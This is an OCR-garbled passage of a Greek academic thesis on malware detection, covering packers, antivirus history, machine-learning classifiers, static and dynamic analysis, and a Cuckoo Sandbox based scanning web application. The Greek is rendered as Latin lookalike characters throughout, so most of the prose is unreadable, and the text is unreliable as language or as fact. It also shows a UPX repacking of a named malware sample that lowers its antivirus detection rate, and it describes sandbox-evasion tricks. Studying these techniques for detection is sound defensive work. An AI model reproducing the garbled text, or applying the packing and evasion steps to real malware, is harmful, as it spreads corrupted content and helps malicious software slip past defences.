O meploodTEPOL packers e€ival EDKOAO va XpnolgortolnBouv Kal LTapxouvv Tapa
oMol eAelBepa Olabeoipol oto dladiktuo. ‘OAoL Ol CULMTIECTEG €Xouv OLO Kowva
XOPAKTNPIOTIKA yvwpiopata. [Mpwtov, OTI petacxnuatiCouv €va apxeio oe €va VeEo
EKTEAECIPUO TIOU €XEL ATIOONKEUPEVO OTO KWOIKA Kal Ta &edopEva TOL TNV QPXIKK TOU
ekdoxny Kal 6elTeEPOV, EUTIEPIEXETAL OTOV KWOIKA Toug pia peBodo (function stub) mou
artooupuriieCel To tieplexopevo. Otav €va apxeio dev eival cupriECUEVO 0 OEIKTNG KATA TNV
apxn TnG ekteAeong Oegixvel otnv  mpwtn Olevbuvon pvripng Tou Tunpartog .text. Ztnv
avtibetn mepintwon, o 6eiktng TNG ekTéAeong Oegixvel otn peBodo (function stub) mou
arokpurttoypadei 1 armocuurielel To TEPIEXOPEVO TOU eKTeAEaIou. Ol eVEPYEIEG TIOU
eKTEAEL N ev AOyw ouvaptnon eivat:

1) ArmooupTtiieon TEPLEXOPEVOU TOU EKTEAETIUOU.

2) Amnokartdotaon Twv ouvapTAcEwvV TIou €loayel ano TIC PIPALOONAKeG
(DLL) tTouv Windows API 1tou eival arapaitnteg ylia tnv opdr eKTEAEON
TOU TIPOYPAUUATOG.

3) Metadopd tou Oeiktn ektEAEONG otn mpwtn dlevbuvon pPvrAuNG Tou

TUAMATOC .text.

Tnv oniypr] exkivnong e extéleong Trv apéowe enduevn otiyur

Headers Headers
Export Functions , Export Functions
text r—" text
.data .data
Jrsrc .Isrc
En;’ Zuvapmon Suvaptnon
Arnoguprieong Anocupunieong

Import Functions

Eikova 4. Auadikaaoia Unpack EkteAéoipwv Apxeiwv
20



210 napadelypa mmov akoAoubei yivetal n xprjon touv UPX (The Ultimate Packer For
Executables) Packer outwg wote va avaiuBei n emidpaon mov TPOKAAEL n cuuriieon o€
pua wopopdn 6cov avadopd, TNV avixveuon tng anod avtikd npoypdupata. To 1opopdIKo
Aoylopiko mou e€etaletal €xel ovvoyn sha256 6244c1e5fd285612b9398b45d466a9d3524
Oe2b5caaf8eb1b42b4bcf122531b6 kai cOvoAo avixvevong eikool €€ amd Ta TEevAvta
edpta Slabeoipa avtiika npoypauuata (Eikova 5) mou Siabetel, n diadiktuakn mAatpopua
avixveuong lopopdIkoL AoylopikoU virustotal[21].

) total

SHA256: 6244c1e5fd285612b9398b45d466a9d35240e2b5caaf8eb1b42b4bcef122531b6
File name: MUnpacked.bin
Detection ratio: 26 /57

Analysis date: 2015-04-07 08:39:18 UTC ( 3 weeks, 6 days ago)
Ewkéva 5. Virustoal Avahuon Unpacked EkteAéotipou Apxeiou

H ouprtieon mou akoAouBnoe petacxnUATIoE TNV LOPOPDI OE €va VEO EKTEAECIUO E
obvoyn sha256 84108e1655b45b7f3f036294058585974fd03b21ac9f784e516242065e06
1bb5 (Eikéva 6).

lkyv@ubuntu:~/Desktop$ sha256sum 6244cle5fd285612b9398b45d466a9d35240e2b5caaf8eb
1b42b4bcf122531b6.bin
6244c1e5fd285612b9398b45d466a9d35240e2b5caaf8eblb42b4dbcf122531b6 6244cle5fd2856
12b9398b45d466a9d35240e2b5caaf8eblb42b4bcf122531b6.bin
user@ubuntu:~/Desktop$ cd upx-3.91-amd64 linux/
user@ubuntu:~/Desktop/upx-3.91-amd64 linux$ ./upx ../6244c1le5fd285612b9398b45d46
6a9d35240e2b5caaf8eblb42b4bcf122531b6.bin

Ultimate Packer for eXecutables

Copyright (C) 1996 - 2013

UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013

File size i Format

3070944 -> 1023968  33.34% win32/pe 6244c1e5fd285612b9398b45d466a9d
35240e2b5caaf8eb1b42b4bcf122531b6.bin

Packed 1 file.

user@ubuntu:~/Desktop/upx-3.91-amd64 linux$ sha256sum ../6244cle5fd285612b9398b4
5d466a9d35240e2b5caaf8eblb42b4bcf122531b6.bin
84108e1655b45b7f3f036294058585974fd03b21ac9f784e516242065e061bb5 . ./6244cle5fd2
85612b9398b45d466a9d35240e2b5caaf8eb1b42b4dbcf122531b6.bin

Eikova 6. UPX Pack EkteAéatpou Apxeiou
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H diadikacia tng ouvptmieong eixe oav anotéAeopa o Babuog avixvevong va pelwbei ota

OEKAOKTW ard Ta mevrvta €L avtika poypaupata mouv To aveAvoav (Eikova 7). Mmopei n

olagopad va pnv eivat vPpnAn Spwe avto eivat avaloyo pe 1o Oco dladedopevog eival o

OULUTIIECTNG TIOU €XEL XpnolportolnBei yia va yivel Pack pia lopopodn.

2

SHA256:

File name:

Detection ratio:

Analysis date:

total

84108e1655b45b73f036294058585974fd03b21ac9f784e516242065e061bb5
84108e1655b45b73f036294058585974fd03b21ac9f784e516242065e061bb5.bin

18/56

2015-05-04 18:21:16 UTC ( 1 minute ago )

Ewkéva 7. Virustoal Avahuon Packed EkteAéaipou Apxeiou
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Ta avtiikd npoypappata (Anti Virus Programs) armoteAovuv tnv mio diadedopévn
HEBOSO TIPOANYNG KAl KATAGTOAAG LOPOPPIKOU AOYIOUIKOU, OPOG TIOL LIOBETHONKE arod TNV
TePAOTIA Artrjxnon Tou eixe N €pevva Tou Frederick B. Cohen. AntoteAei wplun texvoAoyia
KaBWG oav TEXVIKN UETPAEL TIOAAEG OekaeTieg Cwng Kal avamrtuéng. H mpwtn vAortoinon
QVTIKOU AOYIOMIKOU dnuoAoyeital OTL mpaypatoromrdnke and Ttov [eppavd pnxaviko
aoddalelag Bernd Fix to 1987[2]. Tnv idia xpovid otnv Apepikr) o John McAfee idpuoe tTnv
opwvupn etalpia McAfee kalt KukAodpOpnoe TNV TIPWTN EPTOPLKA €KOOON TOUL
VirusScan[16], evw tnv idla akpiBwg xpovikn otiyury otnv Evpwrin o Peter Pasko kat
Miroslav Trnka otn 2Aofakia dnuiovpynoav tnv mpwtn €kdoon tov NOD32[17]. Ta mpwipa
autd Anti Virus 6ev €kavav Tinmota neplocdTePO anod To va vrtoAoyiCouv tTnv cuvoyn (Hash
Total) wg povadiko amoTuMwPa KABe apxeiov o€ €va UTIOAOYIOTIKO oUOTNUA Kal va To
OLYKPIVOUV PE OLVOYELC LOPOPPIKWY TIPOYPAUPATWY TIOL ATAV ATIOBNKELUEVEG OE pIa

OLAAOYN Kal av ylvoTtav KAtola TauTion TOTe To Lo e€€taon apxeio diaypadoTav.

H peydAn €LOTIPAKTIKN ETUTLXIA TIOL ONUEWBNKE yla TA AOYIOUIKA autd wbnoe
TIEPIOOOTEPOUG EPELVNTEG OTO VA AVATTUEOLV KAl VA XPNOIUOTIOIO0LV TIO E€EEAIYUEVEG
HEBOOOULG avixveuong OTMwG TNV AvaAyvwpelon AvwHaAlwv Tou mapoucialouv Ta
nepLoooTePa OPOPPIKA Aoylopika. lNa mapddelypa KABe eKTEAEOIPO apxeio xwpiletal
avaAoya pe Toug Topeig .stack, .heap, .text, .data, .bss kal o0tTw k&Be €€ng. ‘ETol Aordv
ereyxetal oe mola OlevBuvon pvnung eEKvave ol EVTOAEG Tou Topea .text kabBwg ta
TEPLO0OTEPA N OPOPPIKA Tipoypauuata Eekivave amd tnv idla otabepry SievBuvon

MVAMNG EVW OTA LOPOPPIKA OXL.
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Mo avaAuTiKa Ta avTiiKA TPOoyPAUPATA OTO TIEPACHA TOL XPOvou eEeAixBnkav we eE€NG:

* Mpwtng yevidg. Araitovv Tnv 0mapén vrnoypadwv evog 1o0. XAPAKTNPLOTIKO TIOU
avayvwpilel povadika pia opopdr Kal priopel va amnoteAel pia ouvpPBoAooelpd tou
EUTIEPLEXEL, PlA oLvopn €wG Kal ouvOLACHOG OTATIKWY XAPAKTNPIOTIKWY TnG. Eival oe
B€on va avixveLooLV 1OVG TIOL €ival TIAVOUOLOTUTIOL HETAEL TOUG ONAQdK EUTIEPIEXOLV
i0leq aAdaplBunTIkEG akoAouBieq kal dopri(opcodes) Xwpic TO TEPIEXOPUEVO TOLG va
dladepel onuavtika. AuTAG TNG KATnyopiag avtiika mpoypdupata eival oe B€on va
QVIXVEDOOULV POVO LOPOPDIKA AOYIOPIKA YIa TA OTIoia £XOLV ATIOONKEVHPEVEG LTTOYPADEG
aduvatwvTag va avixvevuoouv VeQ.

* Aedtepng yeviag. Aev PaociCovtal otnv vmapén vrmoypadwv AAAA oTn Xpnon
EVUPEOTIKWY HPEBOOWV yla TNV avixveuon HOAUVOEWV OTWG N HETAPBOAN cuvopewv
apxeiwv TPV KAl PETA TNV €KTEAEON €vOC TPOYPAUUATOG. AAAN TEXVIKA ATOTEAEL N
anornelpa arnokKPLMToypAdnonG onUEiwV TOU EKTEAECILOL TNG LOPOPGNG AV UTIAPXOULV.

* Tpitng yeviag. OL avixveuTteg avtoi Bacifovral otnv avaluon TnG cupTiepldopas eVog
TPOYPAUHATOG TIAPA OTNV OTATIKA SOMN) KAl TO TIEPLEXOUEVO TOV, KLUPIWG KATA TO O0TAdI0
Tov Kartola lopopdr mpoomabei va e€anAwbei poAbvovtag aAAa poypdupata.

+ T€raptng yeviag. ATOTEAOLV ETIL TOL TIPAKTEOUL €vav oLVOLACHO A0 XAPAKTNPLOTIKA
OAWV Twv TIapanavw 1ouv OAa paldi cuVBETOLV OAOKANPWHEVA CUCTAUATA QVIXVELONG

LOHOPPIKOU AOYIOUIKOU.

27Ta mAaiola TNG €peuvag AuTAG EYIVE CUYKPLTIKY PEAETN, avapeoa oe €6l avTlika
npoypappata (AVG, Avast, Bit Defender, Clam, Comodo, Zoner) oe &giypa uvo XIALAdwv
TeETPaAKOOoiwV (2.300) OPOPPIKWY AOYIOUIKWV TIOU CUAAEXBNKAvV ard TOUuG LOTOTOTIOUG
openmalware[18], malwr[19] kai malshare[20] oe O1APOPEG XPOVIKEG TEPIOOOLEG Kal
artoteAovv Kupiwg Portable Executable apxeia tou Aettouvpyikov cuvotripatog Windows.
To &eiypa autd Slaoctavpwbnke OTL €ival KAKOBOULAO pE TN XPHoON TWV UTINPECIWV TOUL
lotétotou Virus Total[21] ou mpaypartornolei avallboelg pYe tn xprion OAwv Twv SlabEaipwy

QVTLKWY TIPOYPAUHATWY TNG ayopds. Katoriv alohoyriBnke n ocuvOLACTIKN XPrion TOuG.
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Eivat kowvwg amodektd OTL Ta TPOoypAupata anivirus eivar eOKoAa oOTnv
€YKATAOTAON TOULG KAl TNV XPHon Toug Kal Oev amaltolv Kayia €EEBIKELPEVN Yvwaorn aro
TOULG XPNOTEG WOTE TA Xpnotgortolovv. MNMapdaAAnAa opwg €xel aoknBei 1dlaitepn KPITIKI oTa
antivirus Kupiwg yia to OTL dev eival oe B€on va avixveLoOLV KAKOPBOULAQ AOYIOUIKA O€
TIPAYHMATIKOUG XpOvoug. Eri tou mpaktéou eival moAU SUOKOAO va TOOCOTIKOTOINOEl O
Babudg avixvevong mou MPooPEPOLY O CLUVAPTNON PE TO XPOVO TIoL Xpelaletal otav pia
lopopdn apxifet padikd va POALVEL LTIOAOYIOTIKA CUCTAHUATA MEXPEL TN OTIWyMA TIOL N

vroypadn NG elcdyetal ot BAcel; Twv antivirus Twv XPNOTWV. 2€ avTIOIACOTOAN PE TO

® Aev AvixvelUTtnkav ® AvixveUTtnkav
MapATIAvw, WG AOYIOUIKA €XOuV oav BAaclkO TIAEOVEKTNUA, EvaVTl EVAANAKTIKWY PEBOSwWV
avixveuong LOPOPPIKOU AOYIOPIKOU, OTL oTrtaviwg XapaktnpeiCouv 1opopdEeg mpoypauuata

rou dev eival kakdPBouAa (Low False Possitive Rates).

Mpoodateg peAETEG e BEPA TNV avixveuon OPOPPWVY PE TNV XPHON HOVIEAWV
TeXvNTAG vonuoouvng kat Data Mining &gixvouv eviunwaolakd mooootd avixveuong. ApXika
Ta Oeiypara mou eivalr ekteAEowua mpoypdppata xwpiCovrtar oe duo KATNyopieg TIG
LOMOPDEG KAl TA KAVOVIKA Tipoypdppata. Mia texvikn[27] arotelei n Katnyoploroinon
EKTEAECIPWV APXEIWV WG KAKOPBOoUAA 1 un pe Baon Ti¢ cuvaptroelg Tou API rtou kaAouvvtal
ard avtd. ApxIka yivovtal unpack ta apxeia Twv cLUAAOywv, OTN CUVEXEla €EAyovTal Ol

ouvvaptnoelg Touv APl und TNV popdry n-grams mOU AUTA KAAOUV, QTOTIPWVTAL Ol TIO
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wodEApeC peTaPBAoelc avd KaTnyopia apxeiwv Kal arobnkevovtal avaloya o€ CUANOYEG
(Data Sets). 2tn mopeia oL peTaPAoelg XPNOLOTIOOLVTAL YIA VA EKTIAIOEVTEL €va PHOVTEAO
SVM (Support Vector Machine) 1o otmoio otn nopeia kavel katnyoploroinon (classifica-
tion) véwv lopopdwv pe BdAon Tn yvwon PeE TNV OToia €xel ekmnaideutel. To MOCOOTO
avixvevong tng rapanavw pedodoloyiag Atav 96.50%.

2e pla AAAn pebBodoloyial28] eAadpwg TapaAlayueévn PE TNV TAPATIAVW
Xpnotorolovvtal akoAouBieg kwdika Assembly. Ot dlaloyeg auvTteg e€opalvvovral Kal ava
Katnyopia (IopopdIKEG 1 OXY) TPOPOSOTOUV €va POVTEAO TeXVNTAG vonuooLvng Random
Forest to omoio katnyoploroinoce opopdeg Oeiypatog 1444 opopdwv kat 1330
KAVOVIKWV EKTEAECIPWYV TIPOYPAPHATWY PE TIOOOOTO aKpifelag 98.71%.

H texvntr) vonuoolLvn amoteAei pia vea oxeTikA pebodoloyia yia tnv avixveuon
VEWV lopopdwv pe Baon tnv otatik dour Toug. Baoiletal otnv mapadoxr 0Tl KakoBovAa
EKTEAEOIUA ApPXEiQ €XOLV KOIVA XAPAKTNPLOTIKA PETAEL TOLG Ta ortoia wg eva Babuod eival
OladOPETIKA aTtO PN LOPOPDIKA AOYIOUIKA. To peloveKkTnua tnG peBodoloyiag auvtng eival
OTL 0 BaBudg avixvevong eival avaloyog e TNV TIOKIAOPopdIa Tou dElypaTog PE TO OToio

€XOULV eKmtaldeuTEl Ol AAyOpIBuOL TIOU KAVOLV TIPOPBAEYELG.

H otatikry avaiuvon LopopdIKoL AOYIOPIKOU artoTeAEL TNV TEXVIKI KATA TNV oroia
€vag avalutng eivat oe B€on va anodavlei e€etalovtag tn dopn Kal TNV por) EKTEAEONG
€VOG TIPOYPAUMATOG YIa TO av aroTeAei lopopdr 1 OXL XwPiG auTo va EKTEAECTEL OE KATIOLO
UTIOAOYIOTIKO ovoTnua. Na tov okord autd €xouv avarTtuxBei e101kA Aoylopika ta ortoia
ovopalovtal Disassemblers(IDA, Hopper, Objdump, NASM, Capstone) ol oroiot
HETATPETIOLV opcodes YAWooag pNxavng oe avanapacTtacelg assembly av ta ekteAEoiua
eival mapdywya yh\woowv onwg C, C++, Objective-C kal Objective-C++. e omoiadnmote
AAAN TepinTwon ekTeAEopwy dnAadn apaywya yaAwoowv omnwg C#, Java kat Visual Basic
otaTiki avaiuon yivetal pe Decompilers oL OTIOIOL ETIXEIPOVV PETATPOTI TWV EKTEAECILWV
apxeiwv arevBeiag oe minyaio KwoKA. Ot o dtadedopevol Decompilers aroteAovv yia
Java 1o JD (Dalvik Bytecode og nnyaio kwdikd) kat yia Bassic kat C# (NET Framework) to
ILSpy (Mono Assembly og rinyaio kwdika).

2av TEXVIKN aroTteAei TN To SUOKOAN pEBOSO avaAuonG OPOPDIKOU AOYICUIKOU

O1OTL amnautei  peyAAn TPOYPAPMATIOTIKA IKAVOTNTA and TOV avaAuTr Kal XpOvo yla va Tn
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dle€aywyn ovumnepacpdtwyv. lMapdAAnAa ot Snuiovpyoi LOPOPDIKWY AOYIOPLIKWV
XPNOLWIOTIOIOUV TEXVIKEG ATIOKPLYNG TIEPIEXOUEVOL OTIWG avadepdrikav otnv mapdypado

€€l OUTWG WOTE va KAVOULV TNV OTATIKI avAAuon Kal avayvwplon piag opopdng adovartn.

H texvikr autr adopa tnv eKTEAEON opopdwv oe TiepBAalAov Debugger (Imunnity,
Olly, Ewan) yia va avaAubei n pon eKTEAEONG KAl EVEPYEIWV TOU TIPOYPAUHATOCG PNUaTiKA.
2av péBodoc avapdlofritnTa €ival TO ArmoTEAECUATIK Kal ypriyopn ard Tnv OTATIKN
avaAuon OpwG ol dnuIoLPYoi oPoPPWY €XOLV AVATTTUEEL TEXVIKEG YA TNV aroduyn
avaAvong ano ta npoavagdepbevta mpoypdppata. Ot TEXVIKEG AUTEG TIAPAKAUTITOVTAL PE
peBodoug Binary Patching rj Runtime Modification ortov o avaAuTtrg Tpororolei Tnv pon
EKTEAEONCG €VOC TIPOYPAUMATOG Kal arnodeVyovTal CLUVAPTHOELG TIOL KAVOUV EAEYXO yld TO

av ektehovvtal oe TieptPariov Debugger.

2Ta mAdiola tnG OIMAWMPATIKAG AQUTAG PE TOV OpO duvVAMIKA avAAuon €vvoeital n
avtopatornolnuévn dladikacia pe PAon Tnv oroia €va apxeio eKTeAeiTal oe €va EIKOVIKO
UTIOAOYIOTIKO ovoTnua(Sandbox) kal mapakoAouvBeitalr n ocuvpnepidpopd Tou. H
rnapakoAovdnon tnG oupmneplPoPAC TNG EKTEAEDNC €VOC apxeiov adopd tnv Kataypadn
TWV OLUVOECEWV TIOU ETUXEIPEL VA TIPAYPATOTIONNOEL TOOO o€ eTTiNMed0 SIKTVOL 0C0 Kal DNS,
kataypadry tpomormojoewv Twv Registry Keys, efaywyry oTlyplotunwv PvAPNG,
ATOPOVWAN TwV apxeiwv Tou dnuiovpyndnkav KAtd TNV €KTEAECN TOL apXeiov Kal
kataypadrn Ttwv OlEPYACIWV TIOL EKTEAOUVTAL OTO EIKOVIKO oLOTnUA. AMOTeAel TNV O
ypriyopn TeXVIKA pE PAon TNV Oomoia avaAuTeEG KAKOBOUAOUL AOYIOPIKOU QTIOKTOUV la
ApXIKA €IKOVA Yla TIC EVEPYEIECG TIOL €ival TIPOYPAUHATIOHMEVO va EKTEAEL €va apxeio. Zav
TEXVIKI OTIWG Kal OAEG Ol TEXVIKEG AVAAUONG €XEL PEIOVEKTNHUATA KAl Ta Pacikotepa eival
OTlL Ta cuotruata Sandbox eKTEAOLV €va QPXeio yla TIOAD PIKPA XPOVIKA dlaoTtripata
ouviiBwg 1800 &eutepodAenta. MNvwpilovtag To MAPATIAVW YEYOVOG €vaG ETUTIOEPEVOG
WTIopEl va KabuoTteproel TNV EKTEAECN TNG LOMOPGNG TOL YIA  XPOVO HEYAAUTEPO TOUL
HECOUL XPOVOU avapovnG eKTEAEONG Twv Sandbox pe amoteAeopa ol avadopesg va eival
naparAavnTikeG. Mia AAAN TEXVIKI TIOL PTIOPEL va EKPETAAAEUTEL €vag eTUTIBEPEVOG gival

va evroTtiioel peéow Twv Registry Keys 1| diepyaciwv mou ekteAovvtal av 10 oUCTNPA OTO
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OTIOIO EKTEAEITAL TO APXEIO €ival EIKOVIKO PE OKOTIO va PETADEPEL TN PON EKTEAEONC TOU
TMPOYPAUHATOG TOU O onueio mou Oev ekTteAeital Kapia KakOPouAn evepyela. To
avtopartornolnuévo cvotnua [Mépog B.2] ou avantuxbnke ota mAaiola TG SIMAWMATIKAG
autng epyaciag xpnowgorolei To Cuckoo Sanbox [22] [Mepog B.1] yia Ti¢ Suvauikeg

avaAloelG.
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To Cuckoo Sandbox amoteAei €va epyaAeio avolxtolL KwoIKA aAmoAuvta
napapeTporoiolo (VAorolinuevo oe Python) mou ekpeTalevseTal kat ocuvoualel AAAa
epyaleia yla va TPAYPATOTIOIEL QUTOPATOTIOINUEVEG QVAAUCEIC PE TEAIKO OKOTO va
TIAPACXEL CUVOTITIKEG AvadOPES OTOLG AVAAUTEG OXETIKA PE TO TIEPIEXOMEVO Kal TN dpdon
TWV avaAupéEvwy apxeiwv. Texvika ouvoudlel pebddoug TOOO OTATIKAG OCO Kal SUVAULKNG
avaAvong. H PBaoikry texvoAoyia mouv ekpetaAAevetal To Cuckoo Sandbox yia va ekteAel
Kal va avaAvel Ta apxeia eival 1o Virtualization kat To €mMITUYXAVEL XPNOLHLOTIOWWVTAG
EIKOVIKA pnxavnuata t1oco tou AoylopikoU VirualBox [23] 6co kat tou VMWare [24]. H
Aettoupyia Ttou eival anAn kat BaoiCetal oto OTL €vag XproTng HMopEel va avabeTtel oTo
EPYAAEIO EAEYXOULG YIa APXEIQ TNG ETIIAOYNG TOU TOTUKA f S1AaSIKTLAKA ArmooTEAAOVTAG TA
oe €va OlaKOMIOTH TIOU €XEL EYKATECTNMEVO TO €V AOyw epyaleio. MNa tn &evtepn

Aeltoupyia apéxetal Anpeg REST API.

Elikovikad YmoAoyloTika Zuotnuara j
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Eikova 8. TomoAoyia Cuckoo Sandbox
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H diadikaocia avaivong &ekiva otav vmoPAnBei karmotwo apxeio oto Cuckoo[29]. Ot
nAnpodopieg mov anooteAlovtal oto Cuckoo, apxika arnobnkevovTtal oe ECWTEPIKN BAon
dedopevwv(SQLite 1 MySQL) kat otav PBpebei diabeoo virtual machine apxiCel n
Oladikaacia tng avaivong. MNpwv TNV yeTadpopTwon Tou apxeiov ard TOV EKACTOTE AVAAUTH
(analyzer), To virtual machine emavépxetal otnv apxlkf Touv Kataotaon (clean state) peow
NG Oladikaociag emavadopdg karaotaong (restore snapshot). Ouolaotikd, yia Tnv
Sladikacia tng avdAvong, To PHovO AOYIOUIKO TIou eKkTeAeital oto virtual machine eival o
Cuckoo Agent. To mipoypappa avto, eival evagc XMLRPC server o oroioG Aapavel Tig
nAnpodopieg avaivong Kal TG petapiBadel otov analyzer.

Ta nakéta avaluong (analyzers) Tou Cuckoo, kaBopifouv Tov TPOTIO PE TOV OTI0I0
EKTEAEITAL TO €EKAOTOTE QAPXEIO OTO €EIKOVIKO pnxavnua. lMNa kdabe popdotumo
XPNOOTIoLEITAL O avTioTOoLX0G analyzer.

EKTOG anod Tig Kupleg kKAaoelg Tou Cuckoo uvrdpyxouv Kat kAaroleg PondnTikeG (auxil-
iary classes). Ot KAQOEIG QUTEG eKTEAOLVTAL TAUTOXPova He TN Sladlkacia availuong Kal
bev poadepouv KArola ANPodopPia OXETIKA HUE TO IOPOPPIKO AOYIOUIKO .

H kOpta Aettoupyia tou Cuckoo BaoiCetal otn duvaukn PiBALOBriKn cuckoomon n
oroia kataypddel OAEG TIGC EVEPYEIEG TIOU TIPAYHATOTIOIOLVTAL KATA TNV €KKivnon HIAG
oladikaoiag oto virtual machine. AuTto erutuyxavetal peow Oladlkaolwyv avaiuong KANoewv
API og eminedo xprjotn. H Aettovpyia tng BBAI0BNKNG avtng, diadopornoleital yia KAbe
EKTEAEON QpXeiOL £TOL WOTE va pnv evrortifetal and Pnxaviopoug TIPOoTACIag EKTEAECNG
oe Tieploplopevo meptBariov (anti-sandbox). Na k&Be cuvdptnon mouv avaAveTal KaTtd TNV
EKTEAEON apxeiwv oto virtual machine, n PBPAIOONKN cuckoomon avaAauPdvel kait Tnv
Kataypadr) TwV OTOIXEIWV TTOL TIPOKUTITOLV ATIO AUTHV.

Edpooov olokAnpwBei n ekTEAEOn €VOC apxeiov, evepyortolouvtal Ol KAACEIG
enegepyaoiag (processing modules). Ot kKAaoelg eneepyaociag, CUAEYOLY OAa TA CTOIXEIQ
TIOL TIPOKUTITOUV ATIO TNV EKTEAECN TOUL ApPXEiov OMwG: dladlkaoieg (processes), oTolxeia
ovpuriepldpopdg, kKAnoelg APl K.0.K. Ot TAnpodopieg auTeG oTn cuvexela TipowbouvTtal oTIC
EVEPYOTIOINUEVEG KAACEIG QVIXVEUONG PE OTOXO TOV EVIOTIOMO KAKOBOUANG 1 OTorTng
ouptepldopag.

Me Tnv OAOKANpwon NG €eKTEAEONG Twv KAAoewv ermefepyaociag, EeKivoLuv ol
Oladikaoieg onuiovpyiag avagdopwv (reporting modules). ‘OAa ta oTolxeia €xouv nNoN

arobnkevTel oe eowTteplkn Paon dedopévwy Kal TTAEoV avAloya pe TNV KAAon avadopag
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rov Ba xpnowotoinBei, To Cuckoo pmopei va pag dwoel avadpopeg oe popdr) html kau

json. EKTOG¢ amd tn Odnuiovpyia avadopwv, PIopoupe va OSnUIovpyAooLPE Kal

avTtopaTtonolnuéves uroypadeg-eldormolioelg. H evepyortoinon avtwv Twv €l80moIoewv

yivetal Bdon Kpitnpiwv 1ou Tibevtal ota anoteAeéopata tng avaivong [Mapdptnua M.2].

Katd tn O6dpkela tng availuong Otav €va apxeio eKTEAeiTal 0 €va ELKOVIKO

pNXxavnua ekteAoOLVTAL Ol EENG EVEPYEIEG:

Me tn Xxprion tou gpyaieiov tcpdump mapakoAouBeital n SladIKTuakrn Kivnon Tou
OnUIoVPYEITAL OTO EIKOVIKO OIKTUO KATA TNV OIAPKEIQ TNG EKTEAEONG TOU APXEIOL Kal
artoBnkevetal oe apxeia pcap (Packet Capture).

Kataypadovtal ta otiypidtuna pvAung RAM Tou €IKOVIKOU pnxavhpatog KaBoAn tn
dldpkela NG ektEAeonG. Kal pe xprion tou gpyaleiouv Volatility yivovtal avaAvoelg kat
avalnTroelg oTa OTIyPIOTUTIA AUTA WOTE VA AVIXVEUTOUV KAKOPBOUAEG EVEPYEIEG.
E€ayovtal 6Aeg ol cupPoloacelpeg Ascii amd To apxeio.

YmoAoyiCovtal o1 cuvoyelg (amoturnwpata) tou apxeiov MD5, SHA1, SHA256 kal
SHA512.

Me xpnion tou epyaleiov YARA[15] emixelpeital avayvwplon KAKOBOLAWV HOTIRwv
yAwooag pnxavng r cuppBoioceipwv ASCII[35].

lNvetal xprion tou VirusTotal[21] API (to cuckoo €xel mpoeykateotnuévo module pe
olaBeaoipo public key) kat  pe Bacn avto mpaypartorolel avalnTAoelG KAvovTag Xpnon
Tou SHA256 Tou apxeiov.

ArmopovwvovTtal OAa Ta apxeia mou raprjyaye to urd avaAuaon apxeio.

Kataypadr oAwv tTwv Registry Keys mou tporormoirifnkav Katd tnv eKTEAEoN.
YTOAOYIOPOG EVIPOTIIAG AvA TOUG TOMEIG TOL APXEIOL av AUTO eival EKTEAECIUO yla TNV
avixvevon Packer.

Avayvwplon yvwotwv Mutex av To apxeio eival eKTeAESIJO.

E€aywyny 0Awv Ttwv cuvaptioewv Windows APl kaBwg kal og mola BIBAIOBNAKN AuTeG
AVNKOULV AV TO APXEIO €ival EKTEAETIHO.

Avayvwplon yvwotwv packer[34] pe tn xprion tTou epyaieiov PEID[14].

O1 avadopeg mov To Cuckoo Sandbox mapdyet eival Twv popdotunwy json, html,

maec (Malware Attribute Enumeration and Characterization) kat MongoDBJ[29].
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Eikova 9. Aettoupyia Cuckoo Sandbox

O okotdg yla tov oroio xpnotportoirinke To Cuckoo Sandbox ota mAaiola autng

NG gpyaciag Atav n avixveuon OPoP@PIKOL AOYIOUIKOU PECW avAAuaong TG ouumepldopds

Tou. OL mpoabrkeg Tov €ylvav tapouolalovtal CUVOTITIKA WG €ENG:

1. Ta kdBe domain name kat IP 1ouv Katad TN OIAPKEIQ EKTEAEONG €va
apxeio ermxelpei va ouvvdebei avalntate yia to av n dievbuvon autn
oxetietal pe 1OPoPdIKA AOYIOPIKA OTouG loToToroug urlvoid [25] kat
ipvoid [26], evw TIapAAANAQ yiveTal €AEYXOG Kal Ot TOlA YewypadIkn
ETIKPATELA AVNKEL O SIAKOULOTNAG TIOL TIPOCTIABEl TO apxeio va cuvdebei
[Mapdptnua MN.2.1].

2. E€aywyn Metadata pe tn xprion tou egpyaieiou exiftool[30][MNapdpTtnua
n.2.2].

3. Ta kdBe apxeio mouv dnuiovpyeital Katad Tn OIAPKEIA TNG EKTEAEONG
yivetat avalritnon pe Baon tn ocbvoypn SHA256 touv otov lotdtoro Virus

Total [MNapdaptnua M.2.3].
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4. AvAlvon twv Streams[34] mou eptmeplExovv ta apxeia PDF pe TO
epyaleio Peepdf [31] kat PDFid[32] yia avixveuon Javascript kwdika n
eKTEAEOIPWV apxeiwv [Mapaptnua M.2.4]

5. AvdAuvon apyxeiwv DOC, DOCX, PPT, PPTX pe 1O €pyaAeio
Oletools[33]yla tnv avixvevon kal e€aywyry eKteAEoipov Kwdika Visual
Basic[35][Mapdptnua I1.2.5].

TEAoG yla KABe vea mpoobrikn dnplovpyrndnkav kat vroypadeg-eldoronoelg (Cuckoo
Sugnatures) pe BAon TIG OTIOIEG €va APXEIO KATNYOPLOTIOLEITAL YIA TO AV €ival LOPOPPIKO

AOYIOMIKO 1) OxL [Mapdaptnua IM.2].
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Ta teleutaia xpovia €xel dnuiovpynBei N avaykn oToug opyaviopoug va EAEYXOLV TA
apxeia mou SlakivoluvTal OTO E0WTEPIKO TOLG OUTWG WOTE VA EAATTWOOULV TIEPIOTATIKA
HOALvVONG aro opoPPIKA Aoylopika. [MapAdAAnAa ol OAOKANPWMEVEG OLAdIKTUAKEG
ePAPUOYEC aAULTOPATOU €AEYXOUL KaKOPBouAou Aoyiopiko0 mapafialouv TNV
EUTIIOTEVTIKOTNTA TOUL TIEPIEXOUEVOL TWV APXEIWV Kal TNV IOIWTIKOTNTA TWV XPNOTWV PECW
Tou SlAPOIPACHOL TOLG. A TOLG OKOTIOUG AUTOUG dnulovpPyYRBNKe pla edappoyr) LOTOL
(Web Application) avixveuong 1opopdIkol AOYIOHPIKOU TIOU aTOXO €ixe va cuvOudoel Kal va
emeKTeivel TIGC SuvatotnTeg NON UTIAPXOVTIWV EPYAAEIWV Kal TEXVIKWV Qvixveuong
LOPOPDIKOU AOYIOUIKOU TIAPEXOVTAG HIa XPNOoTIKA Kal PIAIKA ypadikn Sdiertadr) (Web User
Interface) otoug xprioteg TnNG. Ta POTULTIA KAl Ol TEXVOAOYIEG YE TA OTToia OXeSIAOTNKE KAl
avartuxbnke n edappoyn eival To JSF (Java Server Faces) pe Apache Tomcat kat MySQL

Server mAvw oTo AEITOLPYIKO cvotnua Linux.

